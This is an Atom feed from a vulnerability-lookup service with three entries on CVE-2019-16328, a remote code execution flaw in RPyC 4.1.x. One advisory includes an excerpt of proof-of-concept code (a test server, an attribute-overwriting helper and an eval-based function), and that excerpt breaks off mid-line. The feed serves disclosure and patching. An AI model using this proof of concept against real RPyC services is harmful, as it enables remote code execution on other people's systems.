<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-15T21:33:41.395803+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/brew-pwntools-cve-2019-16328</id>
    <title>BREW-pwntools-CVE-2019-16328 — Dynamic modification of RPyC service due to missing security check</title>
    <updated>2026-10-15T21:33:41.412710+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Homebrew: pwntools</p>
<p>### Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.</p>
<p>### Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.</p>
<p>### Workarounds
The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.</p>
<p>### References
[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)
[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)</p>
<p>### For more information
If you have any questions or comments about this advisory:
* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)</p>
<p>### Proof of Concept
```
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest</p>
<p>PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc</p>
<p>class Foe(object):
    foo = "bar"</p>
<p>class Fee(rpyc.Service):
    exposed_Fie = Foe</p>
<p>def exposed_nop(self):
        return</p>
<p>if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""</p>
<p>def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)</p>
<p>def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)</p>
<p>def get_code(obj_codetype, f…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/brew-pwntools-cve-2019-16328"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2019-16328</id>
    <title>CVE-2019-16328</title>
    <updated>2026-10-15T21:33:41.412803+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2019-16328"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-9ggp-4jpr-7ppj</id>
    <title>Withdrawn: GHSA-9ggp-4jpr-7ppj — Duplicate Advisory: Possible remote code execution via a remote procedure call</title>
    <updated>2026-10-15T21:33:41.412829+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Withdrawn by the publisher.</strong></p>
<p><strong>Affected:</strong> PyPI: rpyc</p>
<p>Withdrawn: duplicate of GHSA-pj4g-4488-wmxm</p>
<p>## Original Description</p>
<p>In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-9ggp-4jpr-7ppj"/>
  </entry>
</feed>
